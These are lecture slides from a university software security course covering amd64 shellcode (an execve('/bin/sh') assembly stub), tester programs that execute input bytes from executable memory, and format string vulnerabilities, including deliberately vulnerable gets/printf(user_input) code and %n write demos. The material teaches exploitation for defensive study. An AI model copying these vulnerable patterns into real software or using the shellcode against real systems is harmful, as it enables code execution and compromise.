CSE 410/510 Special Topics: Software Security

Instructor: Dr. Ziming Zhao

Location: Norton 218

Time: Monday, 5:00 PM - 7:50 PM

This Class

1. Midterm and HW
2. Shellcode development
3. Format string vulnerability
4. In class hands-on exercise shellcode with no zeros

STATISTICS

Count	40
Minimum Value	5.00
Maximum Value	160.00
Range	155.00
Average	110.95
Median	115.00
Standard Deviation	37.32288
Variance	1392.99749

1. Which one of the following descriptions about the Intel architecture RET instruction is correct?
    a. The RET instruction pops whatever EBP/RBP points to to EIP/RIP
    b. The RET instruction pops whatever ESP/RSP points to to EIP/RIP
    c. The RET instruction checks if EBP/RBP points to is a valid code address, if yes it pops the value to EIP/RIP
    d. The RET instruction checks if ESP/RSP points to is a valid code address, if yes it pops the value to EIP/RIP

Shellcoding

amd64 invoke system call

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

- Set %rax as target system call number

- Set arguments
  - 1st arg : %rid
  - 2nd arg: %rsi
  - 3rd arg: %rdx
  - 4th arg: %r10
  - 5th arg: %r8

- Run
  - syscall

- Return value will be stored in %rax

amd64 how to create a string?

Rip-based addressing

```
lea binsh(%rip), %rdi
mov $0, %rsi
mov $0, %rdx
syscall
binsh:
.string "/bin/sh"
```

Let us code shellcode64zero.s

```
gcc -nostdlib -static shellcode64zero.s -o shellcode64zero
objcopy --dump-section .text=shellcode64zero-raw shellcode64zero
```

code/testernozero

```
char buf[0x1000] = {0};

int main()
{
	void * page = 0;
	page = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);

	if (!page)
	{
		puts("Fail to mmap.\n");
		exit(0);
	}

	read(0, buf, 0x1000);
	strcpy(page, buf);
	((void(*)())page)();
}
```

Non-shell shellcode

Finish another task but do not return a shell.

Print out the secret file in the folder

code/testerascii

```
char *asciicpy(char *dest, const char *src)
{
	unsigned i;
	for (i = 0; src[i] > 0 && src[i] < 127; ++i)
		dest[i] = src[i];

	return dest;}

int main()
{
	void * page = 0;
	page = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);

	if (!page)
	{
		puts("Fail to mmap.\n");
		exit(0);
	}

	read(0, buf, 0x1000);
	asciicpy(page, buf);
	((void(*)())page)();}
```

ABSTRACT

History indicates that the security community commonly takes a divide-and-conquer approach to battling malware threats: identify the essential and inalienable components of an attack, then develop detection and prevention techniques that directly target one or more of the essential components. This abstraction is evident in much of the literature for buffer overflow attacks including, for instance, stack protection and NOP sled detection. It comes as no surprise then that we approach shellcode detection and prevention in a similar fashion. However, the common belief that com-

Format String Vulnerability

C function with Variable Arguments

- A function where the number of arguments is not known, or is not constant, when the function is written.

- Include <stdarg.h>, which introduce a *type* **va_list**, and three *functions/macros* that operate on objects of this type, called **va_start**, **va_arg**, and **va_end.**

Variable Argument Example: average

```
#include <stdio.h>
#include <stdarg.h>

double average(int num,...) {

   va_list valist;
   double sum = 0.0;
   int i;

   va_start(valist, num);

   for (i = 0; i < num; i++) {
      sum += va_arg(valist, int);}

   va_end(valist);

   return sum/num;}

int main() {
   printf("Average of 2, 3, 4, 5 = %f\n", average(4, 2,3,4,5));
   printf("Average of 5, 10, 15 = %f\n", average(3, 5,10,15));
}
```

https://www.tutorialspoint.com/cprogramming/c_variable_arguments.htm

C++ Function Overloading code/cppol

- Function overloading is a feature in C++ where two or more functions can have the same name but different parameters.

```
#include <stdio.h>

double average(int i, int j, int k) {
   return (i + j + k) / 3;}

double average(int i, int j, int k, int l) {
   return (i + j + k + l) / 4;}

int main() {
   printf("Average of 2, 3, 4, 5 = %f\n", average(2, 3, 4, 5));
   printf("Average of 5, 10, 15 = %f\n", average(5, 10, 15));
}
```

C++ Overloading Example

```

```

Format string functions

Functionality

- used to convert simple C datatypes to a string representation
- allow to specify the format of the representation
- process the resulting string (output to stderr, stdout, syslog, ...)

How the format function works

- the format string controls the behaviour of the function
- it specifies the type of parameters that should be printed
- parameters are saved on the stack (pushed)
- saved either directly (by value), or indirectly (by reference)

The calling function

- has to know how many parameters it pushes to the stack, since it has to do the stack correction, when the format function returns

Format string function prototypes

```
PRINTF(3)                                                                          Linux Programmer's Manual

NAME
       printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf - formatted output conversion

SYNOPSIS
       #include <stdio.h>

       int printf(const char *format, ...);
       int fprintf(FILE *stream, const char *format, ...);
       int dprintf(int fd, const char *format, ...);
       int sprintf(char *str, const char *format, ...);
       int snprintf(char *str, size_t size, const char *format, ...);
```

The format string family

fprintf — prints to a FILE stream
printf — prints to the ‘stdout’ stream
sprintf — prints into a string
snprintf — prints into a string with length checking
vfprintf — print to a FILE stream from a va_arg structure
vprintf — prints to ‘stdout’ from a va_arg structure
vsprintf — prints to a string from a va_arg structure
vsnprintf — prints to a string with length checking from a va_arg structure

setproctitle — set argv[]
syslog — output to the syslog facility
others like err*, verr*, warn*, vwarn*

https://www.gnu.org/software/libc/manual/html_node/Error-Messages.html

What is a *Format String*?

C string (ASCII string) that contains the text to be written. It can optionally contain embedded **format specifiers** that are replaced by the values specified in subsequent additional arguments and formatted as requested.

A format specifier follows this prototype:
%[flags][width][.precision][length]specifier

% is \x25

http://www.cplusplus.com/reference/cstdio/printf/

Specifiers

A format specifier follows this prototype:

%[flags][width][.precision][length]specifier

Where the *specifier character* at the end is the most significant component, since it defines the type and the interpretation of its corresponding argument:

specifier	Output	Example
d *or* i	Signed decimal integer	392
u	Unsigned decimal integer	7235
o	Unsigned octal	610
x	Unsigned hexadecimal integer	7fa
X	Unsigned hexadecimal integer (uppercase)	7FA
f	Decimal floating point, lowercase	392.65
F	Decimal floating point, uppercase	392.65
e	Scientific notation (mantissa/exponent), lowercase	3.9265e+2
E	Scientific notation (mantissa/exponent), uppercase	3.9265E+2
g	Use the shortest representation: %e or %f	392.65
G	Use the shortest representation: %E or %F	392.65
a	Hexadecimal floating point, lowercase	-0xc.90fep-2
A	Hexadecimal floating point, uppercase	-0XC.90FEP-2
c	Character	a
s	String of characters	sample
p	Pointer address	b8000000
n	Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location.	
%	A % followed by another % character will write a single % to the stream.	%

Specifiers

A format specifier follows this prototype:
%[flags][width][.precision][length]specifier

flags	description
-	Left-justify within the given field width; Right justification is the default (see *width* sub-specifier).
+	Forces to preceed the result with a plus or minus sign (+ or -) even for positive numbers. By default, only negative numbers are preceded with a - sign.
(space)	If no sign is going to be written, a blank space is inserted before the value.
#	Used with o, x or X specifiers the value is preceeded with 0, 0x or 0X respectively for values different than zero. Used with a, A, e, E, f, F, g or G it forces the written output to contain a decimal point even if no more digits follow. By default, if no digits follow, no decimal point is written.
0	Left-pads the number with zeroes (0) instead of spaces when padding is specified (see *width* sub-specifier).

width	description
(number)	Minimum number of characters to be printed. If the value to be printed is shorter than this number, the result is padded with blank spaces. The value is not truncated even if the result is larger.
*	The *width* is not specified in the *format* string, but as an additional integer value argument preceding the argument that has to be formatted.

.precision	description
.*number*	For integer specifiers (d, i, o, u, x, X): *precision* specifies the minimum number of digits to be written. If the value to be written is shorter than this number, the result is padded with leading zeros. The value is not truncated even if the result is longer. A *precision* of 0 means that no character is written for the value 0. For a, A, e, E, f and F specifiers: this is the number of digits to be printed **after** the decimal point (by default, this is 6). For g and G specifiers: This is the maximum number of significant digits to be printed. For s: this is the maximum number of characters to be printed. By default all characters are printed until the ending null character is encountered. If the period is specified without an explicit value for *precision*, 0 is assumed.
.*	The *precision* is not specified in the *format* string, but as an additional integer value argument preceding the argument that has to be formatted.

Specifiers

A format specifier follows this prototype:

%[flags][width][.precision][length]specifier

The *length* sub-specifier modifies the length of the data type. This is a chart showing the types used to interpret the corresponding arguments with and without *length* specifier (if a different type is used, the proper type promotion or conversion is performed, if allowed):

	specifiers						
length	**d i**	**u o x X**	**f F e E g G a A**	**c**	**s**	**p**	**n**
(none)	int	unsigned int	double	int	char*	void*	int*
hh	signed char	unsigned char					signed char*
h	short int	unsigned short int					short int*
l	long int	unsigned long int		wint_t	wchar_t*		long int*
ll	long long int	unsigned long long int					long long int*
j	intmax_t	uintmax_t					intmax_t*
z	size_t	size_t					size_t*
t	ptrdiff_t	ptrdiff_t					ptrdiff_t*
L			long double				

Note regarding the c specifier: it takes an int (or wint_t) as argument, but performs the proper conversion to a char value (or a wchar_t) before formatting it for output.

Format String Examples

```
printf ("Characters: %c %c \n", 'a', 65);
printf ("Decimals: %d %ld\n", 1977, 650000L);
printf ("Preceding with blanks: %10d \n", 1977);
printf ("Preceding with zeros: %010d \n", 1977);
printf ("Some different radices: %d %x %o %#x %#o \n", 100, 100, 100, 100, 100);
printf ("floats: %4.2f %+.0e %E \n", 3.1416, 3.1416, 3.1416);
printf ("Width trick: %*d \n", 5, 10);
printf ("%s \n", "A string");
```

```
Characters: a A
Decimals: 1977 650000
Preceding with blanks:       1977
Preceding with zeros: 0000001977
Some different radices: 100 64 144 0x64 0144
floats: 3.14 +3e+000 3.141600E+000
Width trick:    10
A string
```

code/formatsn

```
int foo()
{
	int a = 0;
	int b = 0;
	printf("a is %d; b is %d\n", a, b);
	printf("[Changing a and b..]%n12345%n\n", &a, &b);
	printf("a is %d; b is %d\n", a, b);

	printf("[Changing a and b..]%020d %n%n\n", 50, &a, &b);
	printf("a is %d; b is %d\n", a, b);

	printf("[Changing a and b..]floats: %010.2f%n\n", 3.1416, &a);
	printf("a is %d.\n", a);

	return 0;
}
```

POSIX Extension: n$

n$

n is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. If any single placeholder specifies a parameter, all the rest of the placeholders MUST also specify a parameter.

For example, printf("%2$d %2$#x; %1$d %1$#x",16,17) produces 17 0x11; 16 0x10

5-min Break

How could this go wrong? printf(user_input)!

- The format string determines how many arguments to look for.
- What if the caller does not provide the same number of the arguments? More than the function (e.g. printf) looks for? Or fewer than the function looks for?
- What if the format string is not hard-coded? The user can provide the format string.

Format string vulnerability is considered as a *programming bug*

Wrong usage - user controls the format string.

```
int func (char *user) { printf (user); }
```

Correct usage - format string is hard-coded.

```
int func (char *user) { printf ("%s", user); }
```

code/formats1

```
int vulfoo()
{
	char s[20];

	printf("What is your input?\n");
	gets(s);

	printf(s);
	return 0;
}

int main() {
	return vulfoo();
}
```

PRINTF(3)                         Linux Programmer's Manual                         PRINTF(3)

NAME
       printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf - formatted output conversion

SYNOPSIS
       #include <stdio.h>

       int printf(const char *format, ...);
       int fprintf(FILE *stream, const char *format, ...);
       int dprintf(int fd, const char *format, ...);
       int sprintf(char *str, const char *format, ...);
       int snprintf(char *str, size_t size, const char *format, ...);

       #include <stdarg.h>

       int vprintf(const char *format, va_list ap);
       int vfprintf(FILE *stream, const char *format, va_list ap);
       int vdprintf(int fd, const char *format, va_list ap);
       int vsprintf(char *str, const char *format, va_list ap);
       int vsnprintf(char *str, size_t size, const char *format, va_list ap);

   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):

       snprintf(), vsnprintf():
           _XOPEN_SOURCE >= 500 || _ISOC99_SOURCE ||
               || /* Glibc versions <= 2.19: */ _BSD_SOURCE

       dprintf(), vdprintf():
           Since glibc 2.10:
               _POSIX_C_SOURCE >= 200809L
           Before glibc 2.10:
               _GNU_SOURCE
```
